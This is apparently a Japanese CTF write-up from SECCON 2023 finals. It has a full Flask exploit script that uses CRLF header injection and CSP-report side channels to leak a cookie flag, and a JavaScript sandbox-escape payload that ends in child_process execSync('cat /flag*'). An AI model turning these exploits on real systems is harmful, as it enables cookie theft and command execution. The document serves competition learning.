CSPでは style-src の値として、その内容のハッシュ値を指定することができる。もし一致していればそのまま読み込み、一致していなければCSP違反として読み込まれない。このCSP違反の有無が使えるのではないかと考えた。report-uri とあわせて使うことで、レスポンスボディのチェックサム云々で考えた1文字ずつのブルートフォースがここで適用できるのではないか。もしハッシュ値が一致していなければCSP違反のレポートが飛ぶし、一致していれば飛ばない。CSP違反のレポートが飛ばなかった文字が正解だ。

具体的な例を挙げて考えていく。SECCON{dummy} というフラグがCookieに設定されているとする。ヘッダインジェクションによって Content-Length: 74Content-Type: text/html という2つのヘッダを仕込み、最後にCRLFを2連続させて Status ヘッダ等をレスポンスボディに追い込んだ上で <style> で締める。クエリパラメータは /?q=Content-Type%3Atext/html%0D%0AContent-Length:74%0D%0A%0D%0A<style> のようになる。このとき、レスポンスボディは次のようになる。

<style>Status: 200 OK
Content-Type: text/plain; charset=utf-8

SECCON{d

default-src 'none' というCSPに違反しているから、DevToolsのコンソールでは当然次のようにエラーメッセージが表示されている。ここで、たとえば 'sha256-sUk0UQj8k0hBY6zv2BrvpRoV2OT8ywX8KXOsunsVi9U=' というハッシュ値がCSPで明示的に許可されていればOKと言われているのがわかる。

これに基づいて Content-Security-Policy-Report-Only:default-src 'none'; style-src 'sha256-sUk0UQj8k0hBY6zv2BrvpRoV2OT8ywX8KXOsunsVi9U='; report-uri https://example.com というようなヘッダを、またヘッダインジェクションで追加する。DevToolsでは同じエラーが表示されている。

では、style-src で指定したハッシュ値を変えるとどうなるか。適当に1文字を変えてみる。今度は [Report Only] から始まるエラーメッセージも出力されていた。

Networkタブを見ると https://example.com にCSP違反のレポートが送信されていることもわかる。この差異を使おう。

解く

1文字ずつフラグが取得できるようなスクリプトを書く。競技終了の1時間半前に急いで書いたものなので、色々雑で申し訳ない。

import base64
import hashlib
import json
import string
import urllib.parse
from flask import Flask

app = Flask(__name__)

ATTACKER_ORIGIN = 'http://example.com:8000'
#BASE = 'http://localhost:3001'
BASE = 'http://web:3000'
TABLE = '_}' + string.ascii_lowercase
template = b'Status: 200 OK\nContent-Type: text/plain; charset=utf-8\n\n'

def gen(c):
    l = 74 + len(flag) - 7
    s = template + flag.encode() + c.encode()
    h = base64.b64encode(hashlib.sha256(s).digest()).decode()
    url = BASE + '?q=' + urllib.parse.quote(f"Content-Length:{l}\r\nContent-Type:text/html\r\nContent-Security-Policy-Report-Only:default-src 'none'; style-src 'sha256-{h}'; report-uri {ATTACKER_ORIGIN}/report/{c}\r\n\r\n<style>")
    return url

flag = 'SECCON{leak'
@app.get('/neko')
def index():
    res = []
    for c in TABLE:
        res.append(gen(c))
    return '''<script>
const urls = URLS;
let w = window.open();
function sleep(ms) {
  return new Promise((r) => setTimeout(r, ms));
  }

(async () => {
    for (const url of urls) {
        w.location = url;
        await sleep(500);
    }
})()
    </script>'''.replace('URLS', json.dumps(res))

done = {k: False for k in TABLE}
@app.post('/report/<c>')
def report(c):
    done[c] = True
    print([k for k, v in done.items() if not v])
    return 'ok'

app.run(host='0.0.0.0', port=8000)

http://example.com/neko のようなURLを報告すると、たとえば次のようにフラグのn文字目について1文字ずつ候補が削除されていき、最終的に確定する。flag に新しくわかったフラグの1文字を加え、サーバを再起動する。また報告する。これを繰り返していくとフラグが得られた。

…
153.120.168.136 - - [24/Dec/2023 06:34:06] "POST /report/t HTTP/1.1" 200 -
['r', 'v', 'w', 'x', 'y', 'z']
153.120.168.136 - - [24/Dec/2023 06:34:06] "POST /report/u HTTP/1.1" 200 -
['r', 'w', 'x', 'y', 'z']
153.120.168.136 - - [24/Dec/2023 06:34:06] "POST /report/v HTTP/1.1" 200 -
['r', 'x', 'y', 'z']
153.120.168.136 - - [24/Dec/2023 06:34:07] "POST /report/w HTTP/1.1" 200 -
['r', 'x', 'z']
153.120.168.136 - - [24/Dec/2023 06:34:08] "POST /report/y HTTP/1.1" 200 -
['r', 'z']
153.120.168.136 - - [24/Dec/2023 06:34:08] "POST /report/x HTTP/1.1" 200 -
['r']
…
SECCON{leaky_sri}

[Misc 388] whitespace.js (2 solves)

Don't worry, this is not an esolang challenge.

(問題サーバのURL)

添付ファイル: whitespace-js.tar.gz

author: Ark

問題の概要

与えられたURLにアクセスすると、次のようになにか計算してくれそうなフォームが表示された。7*7 を入力して計算ボタンを押すと 49 が返ってくる。しかしながら、123 と入力すると Error と怒られてしまった。何が起こっているのだろうか。

ソースコードのうち、問題文中のURLでアクセスできるWebサーバに対応する index.js は次の通り。非常にシンプルで、POSTで投げられてきた expr、つまり先程のフォームで入力した文字列を whitespace.js に投げているだけだ。

const fs = require("node:fs").promises;
const execFile = require("node:util").promisify(
  require("node:child_process").execFile
);

const app = require("fastify")();
const PORT = 3000;

app.get("/", async (req, res) => {
  const html = await fs.readFile("index.html");
  res.type("html").send(html);
});

app.post("/", async (req, res) => {
  const { expr } = req.body;

  const proc = await execFile("node", ["whitespace.js", expr], {
    timeout: 2000,
  }).catch((e) => e);

  res.send(proc.killed ? "Timeout" : proc.stdout);
});

app.listen({ port: PORT, host: "0.0.0.0" }).catch((err) => {
  app.log.error(err);
  process.exit(1);
});

whitespace.js を確認する。送信した文字列を eval してくれており、やったー! と言いたいところだけれども現実は厳しい。まず [...process.argv[2].trim()].join(WHITESPACE) という処理があるけれども、これはたとえば 123 という文字列が渡ってきたときに、スプレッド演算子によって ['1', '2', '3'] という配列へ変換し、そしてスペースで結合し '1 2 3' という文字列にしている。また、関数の呼び出しを防ぐために () が含まれていないかを確認している。もし含まれていれば、その場でプロセスが終了し、以降の eval へは進まない。

const WHITESPACE = " ";

const code = [...process.argv[2].trim()].join(WHITESPACE);
if (code.includes("(") || code.includes(")")) {
  console.log("Do not call functions :(");
  process.exit();
}

try {
  console.log(eval(code));
} catch {
  console.log("Error");
}

Dockerfilemv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt というコマンドが実行されており、フラグが含まれるファイルのパスを特定する必要があるが、JSコードでルートディレクトリのファイルの一覧を取得し、そのうち flag から始まるものを探し… というのは面倒なので、child_process モジュールを使って cat /f* のようなOSコマンドを実行できると嬉しい。これをこの問題における目標とする。

whitespace.js では入力された文字列について1文字ごとにスペースを入れられてから eval されているわけだけれども、ここからOSコマンドの実行に持ち込むのは難しい。たとえば、モジュールを読み込むために require へアクセスしようにも、require を入力すると r e q u i r e に変換されてしまう。当然JSのコードとしては正しくない。どうすればよいだろうか。

基本的なテクニック

CTFではなんらかの制約のもとでJSコードが実行できる、あるいはそれに近しいことができる問題がたまに出題される。今年出題されたものでは、次のような問題がある。

いずれにしても、JSFxxkという [, ], (, ), !, + の6種類の文字だけで任意のJSコードを実行できるようにするツールの考え方を基本としている。JSFxxkがどうやってそのようなことを実現しているかについては「JSFxxk 仕組み」のようなクエリでヒットする色々なブログ記事を参照されたい。基本的には、''.constructorString を取り出し、もうひとつ .constructor を繋げて ''.constructor.constructorFunction を取り出すといったようなプロパティへのアクセスと、それからプロパティ名を作るために限られた文字種で好きな文字・文字列を作成するという2点がまず重要となる。

プロパティのアクセスの方法については、[] も使えるので問題はない。任意の文字列の作成については、今回は文字種が限られているわけではない(() は使えないが、それ以外は使えるということで厳しくはない)が、'hoge' のような文字列リテラル中にも当然スペースが入り込んでくるのが邪魔であるため、やはりどう実現するか考える必要がある。

変換後の文字列がどうなるかを考えると簡単で、たとえば 'a'' a ' に変換されるわけだから、その2文字目を取り出すことで 'a' という文字列が作れる。つまり 'a'[1] のようなコードを送信すればよい。このようにして1文字ずつ作っていき、'a'[1]+'b'[1]+'c'[1] のようにして結合すればよい。これで1文字ごとにスペースが入っても 'abc' という文字列を作れるし、ほかの文字列についても同様だ。

どんなプロパティにアクセスしたいか。最優先は eval 相当のことができる Function だ。これは先ほど紹介したように ''.constructor.constructor 相当のことをすればよい。次のようなコードを送信することで、動作するのは当然ながらスペースが挿入された後に限られるが、Function にアクセスすることができる。いちいち文字列を生成したりプロパティを辿っていったりしていると読みづらくて仕方がないので、1文字変数によく使う文字列や関数などを入れておく。

c='c'[1]+'o'[1]+'n'[1]+'s'[1]+'t'[1]+'r'[1]+'u'[1]+'c'[1]+'t'[1]+'o'[1]+'r'[1] // 'constructor'
s=''[c] // String
f=''[c][c] // Function

ここから Function('console.log(123)')() 相当のことができないかと思ったところで、() なしにどうやって関数を呼び出すかという問題があることを思い出す。JSにはタグ付きのテンプレート文字列とよばれる機能があり、たとえば console.log`123` のようにして console.log(123) 相当のことができ…ない。ここでタグとした関数は呼び出されるものの、引数は ['123'] のように配列が渡っていることがわかる。

もっとも、次の実行結果を見るとわかるように、Function であれば配列が渡されても構わない。ここで渡ってきた配列は Function 側で勝手に文字列化されるためだ。

Function`console.log(123)` // function () { console.log(123) } とほぼ等価

なお、テンプレート文字列では `a${123}b` のようにして式の展開もできる。タグ付きのテンプレート文字列と併用した場合には、次のように第2引数以降に埋め込まれた式を評価した結果が入っていることがわかる。これを使うことである程度自由な引数で関数を呼び出すことができる。もちろん、${ の間にスペースが入ってしまうので、この問題ではそのままでは使えないのだけれども。

function f(...args) {
    console.log(JSON.stringify(args));
}

f`a${7*7}b${123}b`; // [["a","b","c"],49,123]

任意の文字列の作成、プロパティアクセス、バックティックによる関数の呼び出し。この3つを基本として何がやれるかを考えたい。

試行していたこと

色々考えて試しつつも失敗していたことを書いておく。答えだけ見たい方は次の見出しまでスキップのこと。

いくつか過去問を紹介したが、TSG CTF 2023のFunctionlessがもっともこの問題に近いと考えていた。Functionlessは (, ), それからバックティックまで使えないという問題で、同じくOSコマンドの実行に持ち込むことが目的だった。関数呼び出しに関してはこの問題より厳しい。ポイントは、禁止されている3つの文字を使わずに関数を呼び出すかというところで、ただ呼び出すだけなら toString を使えば簡単だが、引数のコントロールができないことが問題となる。Symbol.hasInstance というシンボルを使えば、'Hello' instanceof { [Symbol.hasInstance]: console.log } で引数をコントロールできるが、今度はその返り値が Boolean に変換されてしまうという新たな問題が出てくる。

返り値に関する問題があるとはいえ、引数がタグ付きテンプレート文字列よりは自由であること(['h','o','g','e'] のような使いづらい配列が渡されるわけではない!)、 Symbol.hasInstance は魅力的に見える。ただ、Object.getOwnPropertySymbols`a` のように文字列にシンボルが生えていないか調べて Symbol にアクセスしようとしたものの、当然存在しないし、そもそもスペースが入るのにどうやって instanceof を作るんだという問題があった。

この問題の作問者であるArkさんは、Functionlessの解法として Error.prepareStackTraceError.stackTraceLimit というV8の機能を使って解いていた。その解法について詳しくはここでは述べないが、Error もしくはそのサブクラスのインスタンスを作成し、name プロパティへ実行したいJSコードを仕込めるということが要件となる。SyntaxError でも ReferenceError でもなんでもよいので、何らかの関数やプロパティから Error が手に入れられないかと考えた。これはたとえばTypeScriptのリポジトリにある es5.d.ts 等で Error を返しうる関数や Error が入りうるプロパティを探すと楽かと思ったが、見つけられなかった。JSFxxkが SymbolError を生成していないか探したが、なかった。

Functionless の作問者によるwriteupや、ほかのwriteupも参照する。Array.prototype.toString=Object.prototype.toString のようにprototypeを汚してしまうアイデアは使えそうではあるものの、やはり ErrorSymbol を参照しているのでそのまま解法全体を使えそうにない。

Array.prototype.toString を書き換えるというアイデアに刺激を受ける。たとえば次のように Array.prototype.join を書き換えると、Function をタグ付きテンプレート文字列のタグとした場合に第1引数として配列が渡り、文字列化の際に Array.prototype.join が呼ばれることを利用して、関数の本体を好きなものに変えられることに気づいた。しかしながら、どうやって指定した文字列を返す関数を作れるかが思いつかなかった*10

かなり詰まっていた。

何を言っているんだ

Function.prototype.callerを参照する

1日目の終了後に家へ帰ってからずっとこの問題について考えていたけれども、急に天啓が降りてきた。JSでは Function.prototype.caller という(非推奨ではあるが)便利なプロパティが存在している。何ができるかというと、たとえば function f(){ return f.caller } のように関数中で参照することで、その関数を呼び出した関数を参照することができる。

今の例では名前のある関数を使ったけれども、この問題では Function 経由でしか関数を作れないから、無名関数でなんとかする必要がある。これについては、f = Function('return f.caller') のようにしても機能することが使える。

Function はタグ付きテンプレート文字列で呼び出すということで、スペースが挿入されても問題なく動く関数の本体をどうやって作るか。これは事前に c='caller' のように caller という文字列が入った1文字変数を作っておくことで、fFunction が入っているとして、g=f`g[c]` のようにして、スペースが入ったとしても問題なく g.caller にアクセスできる関数が作れた。

最後に、どうやって return なしに返り値を得るか。わざわざ返り値から g.caller を得る必要はない。a=g[c] のように、関数中でグローバル変数に入れておけば、後から参照できる。

これらを組み合わせて、g=Function`a=g.caller`; g`x` 相当のコードを実行する。Node.jsはCommonJSでは (function (exports, require, module, __filename, __dirname) { /* ここにJSファイルの中身が入る */ }); のような関数にJSファイルのコードを展開して実行するわけだけれども、次のように whitespace.js のその関数を参照することができた。arguments から実引数にアクセスすることで requiremodule といった非常に便利な関数やオブジェクトを手に入れることができた。

歓喜のあまりお嬢様になった

ただし、require で任意のモジュールを読み込もうにも、関数の引数が自由にコントロールできていないという根本的な問題が残っているし、事前に何もモジュールが読み込まれていないので、別のロード済みのモジュールから芋づる式に面白いものを引っ張ってくるということもできない。require.extensions['.js'] に入っている関数が、引数の型をおそらくチェックしておらず面白いと思ったものの、やはり引数のコントロールができていないという壁がある。

String.prototype.trimを置き換える

悩んでいると、急に天啓が降りてきた。引数として渡ってきた requiremodule を参照するだけでなく、caller で手に入れられたその関数自身を使えないか。つまり、ret2vulnのようにもう一度コードが eval される処理を呼び出すことができるわけだから、それを利用できないか。

それから、whitespace.js では最初に何故か const code = [...process.argv[2].trim()].join(WHITESPACE);String.prototype.trim によって与えられたコードの先頭と末尾の空白を取り除いていた。もし trim が文字列でなく ['hoge'] のような配列を返すと、[...process.argv[2].trim()]['hoge'] のような配列となり、それを join するということで、code はスペースのない元のコードが入るのではないかと考えた。

trim をどの関数で置き換えると配列が返るようになるか。[this] を返すような関数があると嬉しい。配列周りの処理になにかあるだろうと Array.prototype を眺めたところ、Array.prototype.concat がそれだった。次のように String.prototype.trimArray.prototype.concat を仕込んでやると、たしかに望んでいたように動くことが確認できた。

String.prototype.trim = Array.prototype.concat;
[...'abc'.trim()].join(' ') // 'abc'

whitespace.js を最初に code を出力するよう改造して、これに相当するコードを作成する。

s=''[c='c'[1]+'o'[1]+'n'[1]+'s'[1]+'t'[1]+'r'[1]+'u'[1]+'c'[1]+'t'[1]+'o'[1]+'r'[1]];
f=''[c][c];
a='c'[1]+'a'[1]+'l'[1]+'l'[1]+'e'[1]+'r'[1];
b='a'[1]+'r'[1]+'g'[1]+'u'[1]+'m'[1]+'e'[1]+'n'[1]+'t'[1]+'s'[1];
''[c]['p'[1]+'r'[1]+'o'[1]+'t'[1]+'o'[1]+'t'[1]+'y'[1]+'p'[1]+'e'[1]]['t'[1]+'r'[1]+'i'[1]+'m'[1]]=[]['c'[1]+'o'[1]+'n'[1]+'c'[1]+'a'[1]+'t'[1]];
g=f`m=g[a]`;
g``;
m``;

実行すると、次のようにスペースの入っていない元のコードが eval される様子を観測できた。

2度目の呼び出し

ほぼ勝ちではないかという雰囲気だが、まだ問題はある。先程のスクリーンショットを見るとエラーが発生していることがわかるが、何が起きているか。これは、文字列の作成時にスペースが入る前提で 'c'[1] のように1文字ずつ作っていたけれども、今度はこれがスペースが入っていないまま実行されるので、当然ながら undefined が返ってきてしまう。これは、'cc'[1] のようにしてやれば解決する。先程のコードは次のようになる。

s=''[c='cc'[1]+'oo'[1]+'nn'[1]+'ss'[1]+'tt'[1]+'rr'[1]+'uu'[1]+'cc'[1]+'tt'[1]+'oo'[1]+'rr'[1]];
f=''[c][c];
a='cc'[1]+'aa'[1]+'ll'[1]+'ll'[1]+'ee'[1]+'rr'[1];
b='aa'[1]+'rr'[1]+'gg'[1]+'uu'[1]+'mm'[1]+'ee'[1]+'nn'[1]+'tt'[1]+'ss'[1];
''[c]['pp'[1]+'rr'[1]+'oo'[1]+'tt'[1]+'oo'[1]+'tt'[1]+'yy'[1]+'pp'[1]+'ee'[1]]['tt'[1]+'rr'[1]+'ii'[1]+'mm'[1]]=[]['cc'[1]+'oo'[1]+'nn'[1]+'cc'[1]+'aa'[1]+'tt'[1]];
g=f`m=g[a]`;
g``;
m``;

ただ、これを実行すると、次のように無限に再帰をしてしまう。同じ処理が実行されるのだから当然だ。

スペースが入っている場合と入っていない場合で違う処理が実行されるようにできないか。1回目かどうかで値が変わるグローバル変数と if を併用できたら嬉しいが、当然ながら i f のようにスペースが入ると使えない。if 相当の機能もなかなか思いつかない。

ふと、// のようにコメントアウトするとどうなるか考えた。1回目の実行では / / のようにスペースが入るが、このときは正規表現リテラルとして解釈される。2回目の実行では当然ながらそれ以降改行までがコメントとして扱われる。これを利用して、上記のコードでは m という変数に whitespace.js 全体の処理を含む関数が入っているわけだけれども、m の実行を //+m` ` という処理に置き換えることを考えた。これで、1回目では m が呼び出されるけれども、2回目ではコメントアウトのため当然呼び出されない。

最終的に、次のようなコードでフラグが得られた。

s=''[c='cc'[1]+'oo'[1]+'nn'[1]+'ss'[1]+'tt'[1]+'rr'[1]+'uu'[1]+'cc'[1]+'tt'[1]+'oo'[1]+'rr'[1]];
f=''[c][c];
a='cc'[1]+'aa'[1]+'ll'[1]+'ll'[1]+'ee'[1]+'rr'[1];
''[c]['pp'[1]+'rr'[1]+'oo'[1]+'tt'[1]+'oo'[1]+'tt'[1]+'yy'[1]+'pp'[1]+'ee'[1]]['tt'[1]+'rr'[1]+'ii'[1]+'mm'[1]]=[]['cc'[1]+'oo'[1]+'nn'[1]+'cc'[1]+'aa'[1]+'tt'[1]];
g=f`m=g[a]`;
g``;
// + m``;
f`a${'console.log\x28process.mainModule.require\x28"child_process"\x29.execSync\x28"cat /flag*"\x29+""\x29'}b` ``
SECCON{P4querett3_Down_the_Bunburr0ws}

Function.prototype.caller を思いついてから1時間ほどでローカルでのフラグの取得までできた。ローカルで解けた後に、喜びのあまりArkさんにDiscordのDMで解けたという報告をしてしまった。翌日の朝一番でフラグの取得と提出を行ったものの、提出の速度で同じく夜の間に解いていたであろうAAAに負けた。国内ではfirst bloodだった。

*1:このチーム名はkeymoonさんが案を出したもの。ヴェリタスでもよいのではないかと提案したところ、優勝できなかったらかなり悲しいのではないか、またヴェリタスであれば4人いてほしいということで、確かに…と納得してCyberMidoriとなった。ところで、この決勝大会へ行っている間にヴェリタスイベントが発表されていたし、ハレ(キャンプ)かわいくてよかった。ハッカーたちのキャンプということで実質セキュリティ・キャンプ

*2:まだ私のところにミドリはいない…

*3:常時1~3位にいた気がする

*4:表彰式では便宜的にチーム顔文字と読まれていた。読めないチーム名にするのはよくないと思いますよ

*5:両日とも18時以降終了だから「日中」ではないか…

*6:世の中にはInternational Cybersecurity Challenge(ICC)のように、1日目はJeopardyで数時間、2日目はAttack & Defenseで数時間というように日ごとに独立したルールを採用し、時間を区切ることで、「徹夜をしたらこの問題が解けるかも」という未練もなく夜中にゆっくりと休みが取れるCTFもある。どちらがよいかと聞かれると、個人的にはどちらとも言いがたい。徹夜上等のCTFであればその長い競技時間に見合った難易度の問題に挑めて楽しい。一方で、徹夜すると生活リズムがぶっ壊れてつらく、そもそも徹夜のインセンティブがまったくなければ、徹夜すべきかすべきでないかを悩まずさっさと眠れるのでそれもまた嬉しい

*7:これでも短く、あと数時間は寝たいところで、眠くはあったけれども

*8:ノートPCをあまり使わず、またモバイルモニタが必要になるような機会もあまりないので、いいものを買うのももったいないなと思いケチってしまった。モニターアームに取り付けて普段から使えばいいじゃんという話だけれども、スペースが足りない

*9:pastebin

*10:実はこれを突き詰めるのが想定解法だったっぽい